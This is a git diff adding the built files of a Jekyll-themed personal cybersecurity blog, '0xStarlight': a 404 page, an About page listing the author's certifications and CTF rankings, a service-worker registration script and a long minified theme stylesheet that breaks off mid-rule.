diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/.nojekyll @@ -0,0 +1 @@ + diff --git a/404.html b/404.html new file mode 100644 index 00000000..5e44a33a --- /dev/null +++ b/404.html @@ -0,0 +1 @@ + 404: Page not found | 0xStarlight
Home 404: Page not found
404: Page not found
Cancel
diff --git a/about/index.html b/about/index.html new file mode 100644 index 00000000..75c21d89 --- /dev/null +++ b/about/index.html @@ -0,0 +1 @@ + About | 0xStarlight
Home About
About
Cancel

About

Hi 👋, I'm Bhaskar Pal, aka 0xStarlight

Whoami

  • I’m a passionate cybersecurity enthusiast and programmer looking to render the best of my knowledge and skills
  • I’m currently learning Offensive Security for OSCP
  • I’m currently publishing blogs about Active Directory Attacking and Defending
  • How to reach me bhaskarpal347@gmail.com

Achievements

  • I received my eLearnSecurity Junior Penetration Tester(eJPT) certification in 2021
  • Achieved the rank of 4579 at Google’s 2022 Hashcode competition
  • Achieved the rank of 82/648 teams at DEF CON 29 Red Team 2021 CTF competition
  • Achieved the rank of 300/4740 teams at HackTheBox Cyber Apocalypse 2021 CTF competition
  • Achieved the rank of 1020/6491 players at NahamCon 2021 CTF competition
  • Received the certificate of completion for Advent of Cyber 2021 by TryHackMe
  • Received the certificate of completion for CompTIA Pentest+ Learning path by TryHackMe
  • Received the certificate of completion Offensive Pentesting Learning path by TryHackMe

Profiles

TryHackMe

HackTheBox

diff --git a/app.js b/app.js new file mode 100644 index 00000000..b2ab751c --- /dev/null +++ b/app.js @@ -0,0 +1 @@ +/* Registering Service Worker */ if('serviceWorker' in navigator) { navigator.serviceWorker.register('/sw.js'); }; diff --git a/archives/index.html b/archives/index.html new file mode 100644 index 00000000..f69f7161 --- /dev/null +++ b/archives/index.html @@ -0,0 +1 @@ + Archives | 0xStarlight
Home Archives
Archives
Cancel
diff --git a/assets/css/style.css b/assets/css/style.css new file mode 100644 index 00000000..c67ea1dc --- /dev/null +++ b/assets/css/style.css @@ -0,0 +1,9 @@ +/*! + * The styles for Jekyll theme Chirpy + * + * Chirpy v5.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy) + * © 2019 Cotes Chung + * MIT Licensed + */#search-results a,h5,h4,h3,h2,h1{color:var(--heading-color);font-weight:400;font-family:'Lato', 'Microsoft Yahei', sans-serif}#core-wrapper h5,#core-wrapper h4,#core-wrapper h3,#core-wrapper h2{margin-top:2.5rem;margin-bottom:1.25rem}#core-wrapper h5:focus,#core-wrapper h4:focus,#core-wrapper h3:focus,#core-wrapper h2:focus{outline:none}h5 .anchor,h4 .anchor,h3 .anchor,h2 .anchor{font-size:80%}@media (hover: hover){h5 .anchor,h4 .anchor,h3 .anchor,h2 .anchor{visibility:hidden;opacity:0;transition:opacity 0.25s ease-in, visibility 0s ease-in 0.25s}h5:hover .anchor,h4:hover .anchor,h3:hover .anchor,h2:hover .anchor{visibility:visible;opacity:1;transition:opacity 0.25s ease-in, visibility 0s ease-in 0s}}.post-tag:hover,.tag:hover{background:var(--tag-hover);transition:background 0.35s ease-in-out}.table-wrapper>table tbody tr td,.table-wrapper>table thead th{padding:0.4rem 1rem;font-size:95%;white-space:nowrap}#page-category a:hover,#page-tag a:hover,.license-wrapper>a:hover,#post-list .post-preview a:hover,#search-results a:hover,#topbar #breadcrumb a:hover,.post-content a:not(.img-link):hover,.post-meta a:hover,.post a:hover code,#access-lastmod a:hover,footer a:hover{color:#d2603a !important;border-bottom:1px solid #d2603a;text-decoration:none}#search-results a,#search-hints .post-tag,a{color:var(--link-color)}.post-tail-wrapper .post-meta a:not(:hover),.post-content a:not(.img-link){border-bottom:1px solid var(--link-underline-color)}#sidebar .sidebar-bottom .mode-toggle>i,#sidebar .sidebar-bottom a,#sidebar .nav-item:not(.active)>a,#sidebar .site-title a{transition:color 0.35s ease-in-out}#sidebar .sidebar-bottom .icon-border,.post a.img-link,i.far,i.fas,.code-header{user-select:none}#page-category ul>li>a,#page-tag ul>li>a,#core-wrapper .categories a:not(:hover),#core-wrapper #tags a:not(:hover),#core-wrapper #archives a:not(:hover),#search-results a,#access-lastmod a{border-bottom:none}.share-wrapper .share-icons>i,#search-cancel,.code-header button{cursor:pointer}#related-posts em,#post-list .post-preview .post-meta em,.post-meta em{font-style:normal}.post-content a.img-link+em,img[data-src]+em{display:block;text-align:center;font-style:normal;font-size:80%;padding:0;color:#6d6c6c}#sidebar .sidebar-bottom .mode-toggle,#sidebar a{color:rgba(117,117,117,0.9);user-select:none}@media (prefers-color-scheme: light){html:not([data-mode]),html [data-mode=light]{--highlight-bg-color: #f7f7f7;--highlighter-rouge-color: #2f2f2f;--highlight-lineno-color: #c2c6cc;--inline-code-bg: #f3f3f3;--code-header-text-color: #a3a3b1;--code-header-muted-color: #ebebeb;--code-header-icon-color: #d1d1d1;--clipboard-checked-color: #43c743}html:not([data-mode]) .highlight .hll,html [data-mode=light] .highlight .hll{background-color:#ffffcc}html:not([data-mode]) .highlight .c,html [data-mode=light] .highlight .c{color:#999988;font-style:italic}html:not([data-mode]) .highlight .err,html [data-mode=light] .highlight .err{color:#a61717;background-color:#e3d2d2}html:not([data-mode]) .highlight .k,html [data-mode=light] .highlight .k{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .o,html [data-mode=light] .highlight .o{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .cm,html [data-mode=light] .highlight .cm{color:#999988;font-style:italic}html:not([data-mode]) .highlight .cp,html [data-mode=light] .highlight .cp{color:#999999;font-weight:bold;font-style:italic}html:not([data-mode]) .highlight .c1,html [data-mode=light] .highlight .c1{color:#999988;font-style:italic}html:not([data-mode]) .highlight .cs,html [data-mode=light] .highlight .cs{color:#999999;font-weight:bold;font-style:italic}html:not([data-mode]) .highlight .gd,html [data-mode=light] .highlight .gd{color:#d01040;background-color:#ffdddd}html:not([data-mode]) .highlight .ge,html [data-mode=light] .highlight .ge{color:#000000;font-style:italic}html:not([data-mode]) .highlight .gr,html [data-mode=light] .highlight .gr{color:#aa0000}html:not([data-mode]) .highlight .gh,html [data-mode=light] .highlight .gh{color:#999999}html:not([data-mode]) .highlight .gi,html [data-mode=light] .highlight .gi{color:#008080;background-color:#ddffdd}html:not([data-mode]) .highlight .go,html [data-mode=light] .highlight .go{color:#888888}html:not([data-mode]) .highlight .gp,html [data-mode=light] .highlight .gp{color:#555555}html:not([data-mode]) .highlight .gs,html [data-mode=light] .highlight .gs{font-weight:bold}html:not([data-mode]) .highlight .gu,html [data-mode=light] .highlight .gu{color:#aaaaaa}html:not([data-mode]) .highlight .gt,html [data-mode=light] .highlight .gt{color:#aa0000}html:not([data-mode]) .highlight .kc,html [data-mode=light] .highlight .kc{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .kd,html [data-mode=light] .highlight .kd{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .kn,html [data-mode=light] .highlight .kn{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .kp,html [data-mode=light] .highlight .kp{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .kr,html [data-mode=light] .highlight .kr{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .kt,html [data-mode=light] .highlight .kt{color:#445588;font-weight:bold}html:not([data-mode]) .highlight .m,html [data-mode=light] .highlight .m{color:#009999}html:not([data-mode]) .highlight .s,html [data-mode=light] .highlight .s{color:#d01040}html:not([data-mode]) .highlight .na,html [data-mode=light] .highlight .na{color:#008080}html:not([data-mode]) .highlight .nb,html [data-mode=light] .highlight .nb{color:#0086b3}html:not([data-mode]) .highlight .nc,html [data-mode=light] .highlight .nc{color:#445588;font-weight:bold}html:not([data-mode]) .highlight .no,html [data-mode=light] .highlight .no{color:#008080}html:not([data-mode]) .highlight .nd,html [data-mode=light] .highlight .nd{color:#3c5d5d;font-weight:bold}html:not([data-mode]) .highlight .ni,html [data-mode=light] .highlight .ni{color:#800080}html:not([data-mode]) .highlight .ne,html [data-mode=light] .highlight .ne{color:#990000;font-weight:bold}html:not([data-mode]) .highlight .nf,html [data-mode=light] .highlight .nf{color:#990000;font-weight:bold}html:not([data-mode]) .highlight .nl,html [data-mode=light] .highlight .nl{color:#990000;font-weight:bold}html:not([data-mode]) .highlight .nn,html [data-mode=light] .highlight .nn{color:#555555}html:not([data-mode]) .highlight .nt,html [data-mode=light] .highlight .nt{color:#000080}html:not([data-mode]) .highlight .nv,html [data-mode=light] .highlight .nv{color:#008080}html:not([data-mode]) .highlight .ow,html [data-mode=light] .highlight .ow{color:#000000;font-weight:bold}html:not([data-mode]) .highlight .w,html [data-mode=light] .highlight .w{color:#bbbbbb}html:not([data-mode]) .highlight .mf,html [data-mode=light] .highlight .mf{color:#009999}html:not([data-mode]) .highlight .mh,html [data-mode=light] .highlight .mh{color:#009999}html:not([data-mode]) .highlight .mi,html [data-mode=light] .highlight .mi{color:#009999}html:not([data-mode]) .highlight .mo,html [data-mode=light] .highlight .mo{color:#009999}html:not([data-mode]) .highlight .sb,html [data-mode=light] .highlight .sb{color:#d01040}html:not([data-mode]) .highlight .sc,html [data-mode=light] .highlight .sc{color:#d01040}html:not([data-mode]) .highlight .sd,html [data-mode=light] .highlight .sd{color:#d01040}html:not([data-mode]) .highlight .s2,html [data-mode=light] .highlight .s2{color:#d01040}html:not([data-mode]) .highlight .se,html [data-mode=light] .highlight .se{color:#d01040}html:not([data-mode]) .highlight .sh,html [data-mode=light] .highlight .sh{color:#d01040}html:not([data-mode]) .highlight .si,html [data-mode=light] .highlight .si{color:#d01040}html:not([data-mode]) .highlight .sx,html [data-mode=light] .highlight .sx{color:#d01040}html:not([data-mode]) .highlight .sr,html [data-mode=light] .highlight .sr{color:#009926}html:not([data-mode]) .highlight .s1,html [data-mode=light] .highlight .s1{color:#d01040}html:not([data-mode]) .highlight .ss,html [data-mode=light] .highlight .ss{color:#990073}html:not([data-mode]) .highlight .bp,html [data-mode=light] .highlight .bp{color:#999999}html:not([data-mode]) .highlight .vc,html [data-mode=light] .highlight .vc{color:#008080}html:not([data-mode]) .highlight .vg,html [data-mode=light] .highlight .vg{color:#008080}html:not([data-mode]) .highlight .vi,html [data-mode=light] .highlight .vi{color:#008080}html:not([data-mode]) .highlight .il,html [data-mode=light] .highlight .il{color:#009999}html:not([data-mode]) [class^=prompt-],html [data-mode=light] [class^=prompt-]{--inline-code-bg: #fbfafa;--highlighter-rouge-color: rgb(82 82 82)}html[data-mode=dark]{--highlight-bg-color: #252525;--highlighter-rouge-color: #de6b18;--highlight-lineno-color: #6c6c6d;--inline-code-bg: #272822;--code-header-text-color: #6a6a6a;--code-header-muted-color: rgb(60 60 60);--code-header-icon-color: rgb(86 86 86);--clipboard-checked-color: #2bcc2b;--filepath-text-color: #bdbdbd}html[data-mode=dark] .highlight pre{background-color:var(--highlight-bg-color)}html[data-mode=dark] .highlight .hll{background-color:var(--highlight-bg-color)}html[data-mode=dark] .highlight .c{color:#75715e}html[data-mode=dark] .highlight .err{color:#960050;background-color:#1e0010}html[data-mode=dark] .highlight .k{color:#66d9ef}html[data-mode=dark] .highlight .l{color:#ae81ff}html[data-mode=dark] .highlight .n{color:#f8f8f2}html[data-mode=dark] .highlight .o{color:#f92672}html[data-mode=dark] .highlight .p{color:#f8f8f2}html[data-mode=dark] .highlight .cm{color:#75715e}html[data-mode=dark] .highlight .cp{color:#75715e}html[data-mode=dark] .highlight .c1{color:#75715e}html[data-mode=dark] .highlight .cs{color:#75715e}html[data-mode=dark] .highlight .ge{color:inherit;font-style:italic}html[data-mode=dark] .highlight .gs{font-weight:bold}html[data-mode=dark] .highlight .kc{color:#66d9ef}html[data-mode=dark] .highlight .kd{color:#66d9ef}html[data-mode=dark] .highlight .kn{color:#f92672}html[data-mode=dark] .highlight .kp{color:#66d9ef}html[data-mode=dark] .highlight .kr{color:#66d9ef}html[data-mode=dark] .highlight .kt{color:#66d9ef}html[data-mode=dark] .highlight .ld{color:#e6db74}html[data-mode=dark] .highlight .m{color:#ae81ff}html[data-mode=dark] .highlight .s{color:#e6db74}html[data-mode=dark] .highlight .na{color:#a6e22e}html[data-mode=dark] .highlight .nb{color:#f8f8f2}html[data-mode=dark] .highlight .nc{color:#a6e22e}html[data-mode=dark] .highlight .no{color:#66d9ef}html[data-mode=dark] .highlight .nd{color:#a6e22e}html[data-mode=dark] .highlight .ni{color:#f8f8f2}html[data-mode=dark] .highlight .ne{color:#a6e22e}html[data-mode=dark] .highlight .nf{color:#a6e22e}html[data-mode=dark] .highlight .nl{color:#f8f8f2}html[data-mode=dark] .highlight .nn{color:#f8f8f2}html[data-mode=dark] .highlight .nx{color:#a6e22e}html[data-mode=dark] .highlight .py{color:#f8f8f2}html[data-mode=dark] .highlight .nt{color:#f92672}html[data-mode=dark] .highlight .nv{color:#f8f8f2}html[data-mode=dark] .highlight .ow{color:#f92672}html[data-mode=dark] .highlight .w{color:#f8f8f2}html[data-mode=dark] .highlight .mf{color:#ae81ff}html[data-mode=dark] .highlight .mh{color:#ae81ff}html[data-mode=dark] .highlight .mi{color:#ae81ff}html[data-mode=dark] .highlight .mo{color:#ae81ff}html[data-mode=dark] .highlight .sb{color:#e6db74}html[data-mode=dark] .highlight .sc{color:#e6db74}html[data-mode=dark] .highlight .sd{color:#e6db74}html[data-mode=dark] .highlight .s2{color:#e6db74}html[data-mode=dark] .highlight .se{color:#ae81ff}html[data-mode=dark] .highlight .sh{color:#e6db74}html[data-mode=dark] .highlight .si{color:#e6db74}html[data-mode=dark] .highlight .sx{color:#e6db74}html[data-mode=dark] .highlight .sr{color:#e6db74}html[data-mode=dark] .highlight .s1{color:#e6db74}html[data-mode=dark] .highlight .ss{color:#e6db74}html[data-mode=dark] .highlight .bp{color:#f8f8f2}html[data-mode=dark] .highlight .vc{color:#f8f8f2}html[data-mode=dark] .highlight .vg{color:#f8f8f2}html[data-mode=dark] .highlight .vi{color:#f8f8f2}html[data-mode=dark] .highlight .il{color:#ae81ff}html[data-mode=dark] .highlight .gu{color:#75715e}html[data-mode=dark] .highlight .gd{color:#f92672;background-color:#561c08}html[data-mode=dark] .highlight .gi{color:#a6e22e;background-color:#0b5858}html[data-mode=dark] .highlight .gp{color:#818c96}html[data-mode=dark] pre{color:#bfbfbf}}@media (prefers-color-scheme: dark){html:not([data-mode]),html[data-mode=dark]{--highlight-bg-color: #252525;--highlighter-rouge-color: #de6b18;--highlight-lineno-color: #6c6c6d;--inline-code-bg: #272822;--code-header-text-color: #6a6a6a;--code-header-muted-color: rgb(60 60 60);--code-header-icon-color: rgb(86 86 86);--clipboard-checked-color: #2bcc2b;--filepath-text-color: #bdbdbd}html:not([data-mode]) .highlight pre,html[data-mode=dark] .highlight pre{background-color:var(--highlight-bg-color)}html:not([data-mode]) .highlight .hll,html[data-mode=dark] .highlight .hll{background-color:var(--highlight-bg-color)}html:not([data-mode]) .highlight .c,html[data-mode=dark] .highlight .c{color:#75715e}html:not([data-mode]) .highlight .err,html[data-mode=dark] .highlight .err{color:#960050;background-color:#1e0010}html:not([data-mode]) .highlight .k,html[data-mode=dark] .highlight .k{color:#66d9ef}html:not([data-mode]) .highlight .l,html[data-mode=dark] .highlight .l{color:#ae81ff}html:not([data-mode]) .highlight .n,html[data-mode=dark] .highlight .n{color:#f8f8f2}html:not([data-mode]) .highlight .o,html[data-mode=dark] .highlight .o{color:#f92672}html:not([data-mode]) .highlight .p,html[data-mode=dark] .highlight .p{color:#f8f8f2}html:not([data-mode]) .highlight .cm,html[data-mode=dark] .highlight .cm{color:#75715e}html:not([data-mode]) .highlight .cp,html[data-mode=dark] .highlight .cp{color:#75715e}html:not([data-mode]) .highlight .c1,html[data-mode=dark] .highlight .c1{color:#75715e}html:not([data-mode]) .highlight .cs,html[data-mode=dark] .highlight .cs{color:#75715e}html:not([data-mode]) .highlight .ge,html[data-mode=dark] .highlight .ge{color:inherit;font-style:italic}html:not([data-mode]) .highlight .gs,html[data-mode=dark] .highlight .gs{font-weight:bold}html:not([data-mode]) .highlight .kc,html[data-mode=dark] .highlight .kc{color:#66d9ef}html:not([data-mode]) .highlight .kd,html[data-mode=dark] .highlight .kd{color:#66d9ef}html:not([data-mode]) .highlight .kn,html[data-mode=dark] .highlight .kn{color:#f92672}html:not([data-mode]) .highlight .kp,html[data-mode=dark] .highlight .kp{color:#66d9ef}html:not([data-mode]) .highlight .kr,html[data-mode=dark] .highlight .kr{color:#66d9ef}html:not([data-mode]) .highlight .kt,html[data-mode=dark] .highlight .kt{color:#66d9ef}html:not([data-mode]) .highlight .ld,html[data-mode=dark] .highlight .ld{color:#e6db74}html:not([data-mode]) .highlight .m,html[data-mode=dark] .highlight .m{color:#ae81ff}html:not([data-mode]) .highlight .s,html[data-mode=dark] .highlight .s{color:#e6db74}html:not([data-mode]) .highlight .na,html[data-mode=dark] .highlight .na{color:#a6e22e}html:not([data-mode]) .highlight .nb,html[data-mode=dark] .highlight .nb{color:#f8f8f2}html:not([data-mode]) .highlight .nc,html[data-mode=dark] .highlight .nc{color:#a6e22e}html:not([data-mode]) .highlight .no,html[data-mode=dark] .highlight .no{color:#66d9ef}html:not([data-mode]) .highlight .nd,html[data-mode=dark] .highlight .nd{color:#a6e22e}html:not([data-mode]) .highlight .ni,html[data-mode=dark] .highlight .ni{color:#f8f8f2}html:not([data-mode]) .highlight .ne,html[data-mode=dark] .highlight .ne{color:#a6e22e}html:not([data-mode]) .highlight .nf,html[data-mode=dark] .highlight .nf{color:#a6e22e}html:not([data-mode]) .highlight .nl,html[data-mode=dark] .highlight .nl{color:#f8f8f2}html:not([data-mode]) .highlight .nn,html[data-mode=dark] .highlight .nn{color:#f8f8f2}html:not([data-mode]) .highlight .nx,html[data-mode=dark] .highlight .nx{color:#a6e22e}html:not([data-mode]) .highlight .py,html[data-mode=dark] .highlight .py{color:#f8f8f2}html:not([data-mode]) .highlight .nt,html[data-mode=dark] .highlight .nt{color:#f92672}html:not([data-mode]) .highlight .nv,html[data-mode=dark] .highlight .nv{color:#f8f8f2}html:not([data-mode]) .highlight .ow,html[data-mode=dark] .highlight .ow{color:#f92672}html:not([data-mode]) .highlight .w,html[data-mode=dark] .highlight .w{color:#f8f8f2}html:not([data-mode]) .highlight .mf,html[data-mode=dark] .highlight .mf{color:#ae81ff}html:not([data-mode]) .highlight .mh,html[data-mode=dark] .highlight .mh{color:#ae81ff}html:not([data-mode]) .highlight .mi,html[data-mode=dark] .highlight .mi{color:#ae81ff}html:not([data-mode]) .highlight .mo,html[data-mode=dark] .highlight .mo{color:#ae81ff}html:not([data-mode]) .highlight .sb,html[data-mode=dark] .highlight .sb{color:#e6db74}html:not([data-mode]) .highlight .sc,html[data-mode=dark] .highlight .sc{color:#e6db74}html:not([data-mode]) .highlight .sd,html[data-mode=dark] .highlight .sd{color:#e6db74}html:not([data-mode]) .highlight .s2,html[data-mode=dark] .highlight .s2{color:#e6db74}html:not([data-mode]) .highlight .se,html[data-mode=dark] .highlight .se{color:#ae81ff}html:not([data-mode]) .highlight .sh,html[data-mode=dark] .highlight .sh{color:#e6db74}html:not([data-mode]) .highlight .si,html[data-mode=dark] .highlight .si{color:#e6db74}html:not([data-mode]) .highlight .sx,html[data-mode=dark] .highlight .sx{color:#e6db74}html:not([data-mode]) .highlight .sr,html[data-mode=dark] .highlight .sr{color:#e6db74}html:not([data-mode]) .highlight .s1,html[data-mode=dark] .highlight .s1{color:#e6db74}html:not([data-mode]) .highlight .ss,html[data-mode=dark] .highlight .ss{color:#e6db74}html:not([data-mode]) .highlight .bp,html[data-mode=dark] .highlight .bp{color:#f8f8f2}html:not([data-mode]) .highlight .vc,html[data-mode=dark] .highlight .vc{color:#f8f8f2}html:not([data-mode]) .highlight .vg,html[data-mode=dark] .highlight .vg{color:#f8f8f2}html:not([data-mode]) .highlight .vi,html[data-mode=dark] .highlight .vi{color:#f8f8f2}html:not([data-mode]) .highlight .il,html[data-mode=dark] .highlight .il{color:#ae81ff}html:not([data-mode]) .highlight .gu,html[data-mode=dark] .highlight .gu{color:#75715e}html:not([data-mode]) .highlight .gd,html[data-mode=dark] .highlight .gd{color:#f92672;background-color:#561c08}html:not([data-mode]) .highlight .gi,html[data-mode=dark] .highlight .gi{color:#a6e22e;background-color:#0b5858}html:not([data-mode]) .highlight .gp,html[data-mode=dark] .highlight .gp{color:#818c96}html:not([data-mode]) pre,html[data-mode=dark] pre{color:#bfbfbf}html[data-mode=light]{--highlight-bg-color: #f7f7f7;--highlighter-rouge-color: #2f2f2f;--highlight-lineno-color: #c2c6cc;--inline-code-bg: #f3f3f3;--code-header-text-color: #a3a3b1;--code-header-muted-color: #ebebeb;--code-header-icon-color: #d1d1d1;--clipboard-checked-color: #43c743}html[data-mode=light] .highlight .hll{background-color:#ffffcc}html[data-mode=light] .highlight .c{color:#999988;font-style:italic}html[data-mode=light] .highlight .err{color:#a61717;background-color:#e3d2d2}html[data-mode=light] .highlight .k{color:#000000;font-weight:bold}html[data-mode=light] .highlight .o{color:#000000;font-weight:bold}html[data-mode=light] .highlight .cm{color:#999988;font-style:italic}html[data-mode=light] .highlight .cp{color:#999999;font-weight:bold;font-style:italic}html[data-mode=light] .highlight .c1{color:#999988;font-style:italic}html[data-mode=light] .highlight .cs{color:#999999;font-weight:bold;font-style:italic}html[data-mode=light] .highlight .gd{color:#d01040;background-color:#ffdddd}html[data-mode=light] .highlight .ge{color:#000000;font-style:italic}html[data-mode=light] .highlight .gr{color:#aa0000}html[data-mode=light] .highlight .gh{color:#999999}html[data-mode=light] .highlight .gi{color:#008080;background-color:#ddffdd}html[data-mode=light] .highlight .go{color:#888888}html[data-mode=light] .highlight .gp{color:#555555}html[data-mode=light] .highlight .gs{font-weight:bold}html[data-mode=light] .highlight .gu{color:#aaaaaa}html[data-mode=light] .highlight .gt{color:#aa0000}html[data-mode=light] .highlight .kc{color:#000000;font-weight:bold}html[data-mode=light] .highlight .kd{color:#000000;font-weight:bold}html[data-mode=light] .highlight .kn{color:#000000;font-weight:bold}html[data-mode=light] .highlight .kp{color:#000000;font-weight:bold}html[data-mode=light] .highlight .kr{color:#000000;font-weight:bold}html[data-mode=light] .highlight .kt{color:#445588;font-weight:bold}html[data-mode=light] .highlight .m{color:#009999}html[data-mode=light] .highlight .s{color:#d01040}html[data-mode=light] .highlight .na{color:#008080}html[data-mode=light] .highlight .nb{color:#0086b3}html[data-mode=light] .highlight .nc{color:#445588;font-weight:bold}html[data-mode=light] .highlight .no{color:#008080}html[data-mode=light] .highlight .nd{color:#3c5d5d;font-weight:bold}html[data-mode=light] .highlight .ni{color:#800080}html[data-mode=light] .highlight .ne{color:#990000;font-weight:bold}html[data-mode=light] .highlight .nf{color:#990000;font-weight:bold}html[data-mode=light] .highlight .nl{color:#990000;font-weight:bold}html[data-mode=light] .highlight .nn{color:#555555}html[data-mode=light] .highlight .nt{color:#000080}html[data-mode=light] .highlight .nv{color:#008080}html[data-mode=light] .highlight .ow{color:#000000;font-weight:bold}html[data-mode=light] .highlight .w{color:#bbbbbb}html[data-mode=light] .highlight .mf{color:#009999}html[data-mode=light] .highlight .mh{color:#009999}html[data-mode=light] .highlight .mi{color:#009999}html[data-mode=light] .highlight .mo{color:#009999}html[data-mode=light] .highlight .sb{color:#d01040}html[data-mode=light] .highlight .sc{color:#d01040}html[data-mode=light] .highlight .sd{color:#d01040}html[data-mode=light] .highlight .s2{color:#d01040}html[data-mode=light] .highlight .se{color:#d01040}html[data-mode=light] .highlight .sh{color:#d01040}html[data-mode=light] .highlight .si{color:#d01040}html[data-mode=light] .highlight .sx{color:#d01040}html[data-mode=light] .highlight .sr{color:#009926}html[data-mode=light] .highlight .s1{color:#d01040}html[data-mode=light] .highlight .ss{color:#990073}html[data-mode=light] .highlight .bp{color:#999999}html[data-mode=light] .highlight .vc{color:#008080}html[data-mode=light] .highlight .vg{color:#008080}html[data-mode=light] .highlight .vi{color:#008080}html[data-mode=light] .highlight .il{color:#009999}html[data-mode=light] [class^=prompt-]{--inline-code-bg: #fbfafa;--highlighter-rouge-color: rgb(82 82 82)}}figure.highlight,.highlight,.highlighter-rouge{background:var(--highlight-bg-color)}.highlight,.highlighter-rouge{border-radius:6px}td.rouge-code{padding-left:1rem;padding-right:1.5rem}.highlighter-rouge{color:var(--highlighter-rouge-color);margin-top:0.5rem;margin-bottom:1.2em}.highlight{overflow:auto;padding-top:0.5rem;padding-bottom:1rem}.highlight pre{margin-bottom:0;font-size:.85rem;line-height:1.4rem;word-wrap:normal}.highlight table td pre{overflow:visible;word-break:normal}.highlight .lineno{padding-right:0.5rem;min-width:2.2rem;text-align:right;color:var(--highlight-lineno-color);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.highlight .gp{user-select:none}code{-webkit-hyphens:none;-ms-hyphens:none;-moz-hyphens:none;hyphens:none}code.highlighter-rouge{font-size:.85rem;padding:3px 5px;border-radius:4px;background-color:var(--inline-code-bg)}code.filepath{background-color:inherit;color:var(--filepath-text-color);font-weight:600;padding:0}a>code.highlighter-rouge{padding-bottom:0;color:inherit}a:hover>code.highlighter-rouge{border-bottom:none}blockquote code{color:inherit}.highlight>code{color:transparent}td.rouge-code a{color:inherit !important;border-bottom:none !important;pointer-events:none}div[class^='highlighter-rouge'] pre.lineno,div.language-plaintext.highlighter-rouge pre.lineno,div.language-console.highlighter-rouge pre.lineno,div.language-terminal.highlighter-rouge pre.lineno,div.nolineno pre.lineno{display:none}div[class^='highlighter-rouge'] td.rouge-code,div.language-plaintext.highlighter-rouge td.rouge-code,div.language-console.highlighter-rouge td.rouge-code,div.language-terminal.highlighter-rouge td.rouge-code,div.nolineno td.rouge-code{padding-left:1.5rem}.code-header{border-top-left-radius:6px;border-top-right-radius:6px;display:flex;justify-content:space-between;align-items:center;height:2.25rem}.code-header::before{content:"";display:inline-block;margin-left:1rem;width:.75rem;height:.75rem;border-radius:50%;background-color:var(--code-header-muted-color);box-shadow:1.25rem 0 0 var(--code-header-muted-color),2.5rem 0 0 var(--code-header-muted-color)}.code-header span i{font-size:1rem;margin-right:0.4rem;color:var(--code-header-icon-color)}.code-header span i.small{font-size:70%}[file] .code-header span>i{position:relative;top:1px}.code-header span::after{content:attr(data-label-text);font-size:0.85rem;font-weight:600;color:var(--code-header-text-color)}.code-header button{border:1px solid transparent;border-radius:6px;height:2.25rem;width:2.25rem;padding:0;background-color:inherit}.code-header button i{color:var(--code-header-icon-color)}.code-header button[timeout]:hover{border-color:var(--clipboard-checked-color)}.code-header button[timeout] i{color:var(--clipboard-checked-color)}.code-header button:not([timeout]):hover{background-color:rgba(128,128,128,0.37)}.code-header button:not([timeout]):hover i{color:white}.code-header button:focus{outline:none}@media all and (max-width: 576px){.post-content>div[class^='language-']{margin-left:-1.25rem;margin-right:-1.25rem;border-radius:0}.post-content>div[class^='language-'] .highlight{padding-left:0.25rem}.post-content>div[class^='language-'] .code-header{border-radius:0;padding-left:0.4rem;padding-right:0.5rem}}html{font-size:16px}@media (prefers-color-scheme: light){html:not([data-mode]),html [data-mode=light]{--body-bg: #fafafa;--mask-bg: #c1c3c5;--main-wrapper-bg: white;--main-border-color: #f3f3f3;--text-color: #34343c;--text-muted-color: gray;--heading-color: black;--blockquote-border-color: #eee;--blockquote-text-color: #9a9a9a;--link-color: #2a408e;--link-underline-color: #dee2e6;--button-bg: #fff;--btn-border-color: #e9ecef;--btn-backtotop-color: #686868;--btn-backtotop-border-color: #f1f1f1;--btn-box-shadow: #eaeaea;--checkbox-color: #c5c5c5;--checkbox-checked-color: #07a8f7;--sidebar-bg: #eeeeee;--sidebar-muted-color: #a2a19f;--sidebar-active-color: #424242;--nav-cursor-color: #757575;--sidebar-btn-bg: white;--topbar-text-color: rgb(78, 78, 78);--topbar-wrapper-bg: white;--search-wrapper-bg: rgb(245 245 245 / 50%);--search-wrapper-border-color: rgb(245 245 245);--search-tag-bg: #f8f9fa;--search-icon-color: #c2c6cc;--input-focus-border-color: var(--btn-border-color);--post-list-text-color: dimgray;--btn-patinator-text-color: #555555;--btn-paginator-hover-color: var(--sidebar-bg);--btn-paginator-border-color: var(--sidebar-bg);--btn-text-color: #676666;--pin-bg: #f5f5f5;--pin-color: #999fa4;--btn-share-hover-color: var(--link-color);--card-border-color: #f1f1f1;--card-box-shadow: rgba(234, 234, 234, 0.7686274509803922);--label-color: #616161;--relate-post-date: rgba(30, 55, 70, 0.4);--footnote-target-bg: lightcyan;--tag-bg: rgba(0, 0, 0, 0.075);--tag-border: #dee2e6;--tag-shadow: var(--btn-border-color);--tag-hover: rgb(222, 226, 230);--tb-odd-bg: #fbfcfd;--tb-border-color: #eaeaea;--dash-color: silver;--preview-img-bg: radial-gradient(circle, rgb(255 255 255) 0%, rgb(249 249 249) 100%);--kbd-wrap-color: #bdbdbd;--kbd-text-color: var(--text-color);--kbd-bg-color: white;--prompt-text-color: rgb(46 46 46 / 77%);--prompt-tip-bg: rgb(123 247 144 / 20%);--prompt-tip-icon-color: #03b303;--prompt-info-bg: #e1f5fe;--prompt-info-icon-color: #0070cb;--prompt-warning-bg: rgb(255 243 205);--prompt-warning-icon-color: #ef9c03;--prompt-danger-bg: rgb(248 215 218 / 56%);--prompt-danger-icon-color: #df3c30;--categories-hover-bg: var(--btn-border-color);--categories-icon-hover-color: darkslategray;--timeline-color: rgba(0, 0, 0, 0.075);--timeline-node-bg: #c2c6cc;--timeline-year-dot-color: #ffffff}html:not([data-mode]) [class^=prompt-],html [data-mode=light] [class^=prompt-]{--link-underline-color: rgb(219 216 216)}html[data-mode=dark]{--body-bg: var(--main-wrapper-bg);--mask-bg: rgb(68, 69, 70);--main-wrapper-bg: rgb(27, 27, 30);--main-border-color: rgb(44, 45, 45);--text-color: rgb(175, 176, 177);--text-muted-color: rgb(107, 116, 